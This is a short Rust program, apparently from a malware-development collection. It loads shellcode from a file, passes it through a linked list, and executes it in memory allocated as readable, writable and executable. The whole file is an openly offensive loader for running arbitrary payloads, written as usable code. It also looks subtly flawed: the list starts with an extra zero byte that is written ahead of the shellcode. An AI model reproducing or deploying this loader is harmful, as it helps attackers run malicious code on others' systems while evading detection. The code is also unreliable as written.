/*
 * Using LinkedList to Execute Shellcode
 * Author : @5mukx
 */

use std::{fs::File, io::{self, Read}, path::Path, ptr::null_mut};

use winapi::um::{errhandlingapi::GetLastError, memoryapi::VirtualAlloc};

fn read_shellcode(file_path: &str) -> io::Result<Vec<u8>>{
    let path = Path::new(file_path);
    let mut file = File::open(&path)?;
    let mut shellcode = Vec::new();
    file.read_to_end(&mut shellcode)?;
    Ok(shellcode)
}

struct Node{
    data: u8,
    next: Option<Box<Node>>
}

impl Node {
    fn new(data: u8) -> Node {
        Node { data, next: None }
    }

    fn append(&mut self, data: u8) {
        match self.next {
            None => self.next = Some(Box::new(Node::new(data))),
            Some(ref mut child) => child.append(data),
        }
    }
}

fn main(){
    let path = r"D:\\maldev\importer\message.bin";

    match read_shellcode(path) {
        Ok(shellcode) =>{
            println!("Shell Exists. Executing Shellcode");
            execute_shellcode(shellcode);
        },
        Err(e) => eprintln!("Failed to read shellcode: {}", e),
    }

}

fn execute_shellcode(shellcode: Vec<u8>){

    let mut list_head = Node::new(0);

    for &byte in &shellcode {
        list_head.append(byte);
    }  

    unsafe {
        let mem = VirtualAlloc(
            null_mut(),
            shellcode.len(),
        /*  0x1000 | 0x2000, */ 0x1000,
            0x40,
        );

        if mem.is_null(){
            println!("VirtualAlloc FAILED: {:?}", GetLastError());
            return;
        }

        let mut current = Some(&list_head);
        let mut ptr = mem as *mut u8;

        while let Some(node) = current {
            *ptr = node.data;
            ptr = ptr.add(1);
            current = node.next.as_ref().map(|n| n.as_ref());
        }

        let shellcode_runner: fn() = std::mem::transmute(mem);
    
        shellcode_runner();
    }
}

